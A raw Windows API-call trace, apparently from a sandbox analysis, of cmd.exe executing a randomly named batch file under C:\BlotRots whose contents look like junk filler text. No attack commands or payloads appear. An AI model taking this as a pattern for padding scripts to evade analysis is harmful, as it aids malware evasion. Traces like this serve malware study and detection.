[0162.062] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.062] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.062] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.062] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.062] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.062] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.062] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.062] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.062] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.062] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.062] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.062] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.062] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.062] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.062] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.062] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.062] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.062] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.062] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.062] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.062] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.062] ??_V@YAXPEAX@Z () returned 0x1 [0162.063] GetProcessHeap () returned 0x20b0f920000 [0162.063] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f946660 [0162.064] GetProcessHeap () returned 0x20b0f920000 [0162.064] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f9578c0 [0162.064] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.064] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.064] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957ff0 [0162.065] SetErrorMode (uMode=0x0) returned 0x0 [0162.065] SetErrorMode (uMode=0x1) returned 0x0 [0162.065] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f958000, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.065] SetErrorMode (uMode=0x0) returned 0x1 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957ff0, Size=0x48) returned 0x20b0f957ff0 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957ff0) returned 0x48 [0162.065] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.065] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.065] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.065] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.065] GetProcessHeap () returned 0x20b0f920000 [0162.066] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.066] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d090 [0162.066] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0162.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.066] GetLastError () returned 0x2 [0162.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.066] GetLastError () returned 0x2 [0162.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.066] GetLastError () returned 0x2 [0162.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.067] GetLastError () returned 0x2 [0162.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.068] GetLastError () returned 0x2 [0162.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.068] GetLastError () returned 0x2 [0162.068] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.068] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.068] GetLastError () returned 0x2 [0162.068] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0162.068] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0162.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.069] GetLastError () returned 0x2 [0162.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.070] GetLastError () returned 0x2 [0162.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.070] GetLastError () returned 0x2 [0162.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.070] GetLastError () returned 0x2 [0162.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.070] GetLastError () returned 0x2 [0162.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.071] GetLastError () returned 0x2 [0162.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.071] GetLastError () returned 0x2 [0162.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.071] GetLastError () returned 0x2 [0162.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.072] GetLastError () returned 0x2 [0162.072] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.072] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.072] GetLastError () returned 0x2 [0162.072] ??_V@YAXPEAX@Z () returned 0x1 [0162.073] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.073] GetFileType (hFile=0x54) returned 0x2 [0162.073] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.073] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.095] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.095] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.096] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.096] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.096] ??_V@YAXPEAX@Z () returned 0x1 [0162.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.097] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.097] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.097] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.097] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.097] SetConsoleInputExeNameW () returned 0x1 [0162.098] GetConsoleOutputCP () returned 0x1b5 [0162.098] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.098] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.099] ??_V@YAXPEAX@Z () returned 0x1 [0162.100] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.100] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.100] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.100] SetFilePointer (in: hFile=0x94, lDistanceToMove=590, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24e [0162.100] GetProcessHeap () returned 0x20b0f920000 [0162.100] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.100] GetProcessHeap () returned 0x20b0f920000 [0162.100] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.100] GetProcessHeap () returned 0x20b0f920000 [0162.100] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.100] GetProcessHeap () returned 0x20b0f920000 [0162.100] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9578c0) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.101] GetProcessHeap () returned 0x20b0f920000 [0162.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.102] GetProcessHeap () returned 0x20b0f920000 [0162.102] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.102] GetProcessHeap () returned 0x20b0f920000 [0162.102] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.102] GetProcessHeap () returned 0x20b0f920000 [0162.102] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.102] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.102] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24e [0162.103] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1567, lpOverlapped=0x0) returned 1 [0162.103] SetFilePointer (in: hFile=0x94, lDistanceToMove=599, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x257 [0162.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.103] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.103] GetFileType (hFile=0x94) returned 0x1 [0162.103] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.103] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x257 [0162.103] GetProcessHeap () returned 0x20b0f920000 [0162.103] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0162.103] GetProcessHeap () returned 0x20b0f920000 [0162.103] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0162.104] _tell (_FileHandle=3) returned 599 [0162.104] _close (_FileHandle=3) returned 0 [0162.104] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.104] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.104] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.104] SetFilePointer (in: hFile=0x94, lDistanceToMove=599, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x257 [0162.104] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.104] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x257 [0162.104] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x155e, lpOverlapped=0x0) returned 1 [0162.105] SetFilePointer (in: hFile=0x94, lDistanceToMove=655, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28f [0162.105] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 56 [0162.105] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.105] GetFileType (hFile=0x94) returned 0x1 [0162.105] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.105] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x28f [0162.105] GetProcessHeap () returned 0x20b0f920000 [0162.105] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0162.105] GetProcessHeap () returned 0x20b0f920000 [0162.105] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0162.106] _wcsicmp (_String1="XP", _String2=")") returned 79 [0162.106] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0162.106] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0162.106] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0162.106] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0162.106] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0162.106] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0162.106] GetProcessHeap () returned 0x20b0f920000 [0162.106] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.106] GetProcessHeap () returned 0x20b0f920000 [0162.106] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f946830 [0162.106] GetProcessHeap () returned 0x20b0f920000 [0162.106] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f92cb10 [0162.106] _tell (_FileHandle=3) returned 655 [0162.106] _close (_FileHandle=3) returned 0 [0162.107] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.107] GetFileType (hFile=0x50) returned 0x2 [0162.107] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.107] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.107] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.107] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.108] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.108] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.108] GetFileType (hFile=0x50) returned 0x2 [0162.108] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.108] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.108] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.108] GetFileType (hFile=0x50) returned 0x2 [0162.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.109] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.109] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f946840*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f946840*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 